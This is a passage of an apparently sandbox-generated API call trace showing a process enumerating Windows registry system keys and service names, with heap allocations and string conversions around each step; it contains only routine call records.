Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.330] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.330] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.330] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.330] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.331] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.331] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.331] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.331] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.331] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.332] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.332] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.332] RegCloseKey (hKey=0xc4) returned 0x0 [0253.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.332] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.332] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.332] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.332] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.333] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.333] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.333] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.333] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.333] RegCloseKey (hKey=0x14c) returned 0x0 [0253.333] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.333] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.334] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.334] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1e38, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.334] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.334] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.334] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.334] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.335] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1e38, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.335] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.335] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.335] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.335] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.335] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.335] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.336] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.336] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0253.336] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0253.336] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.336] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.336] 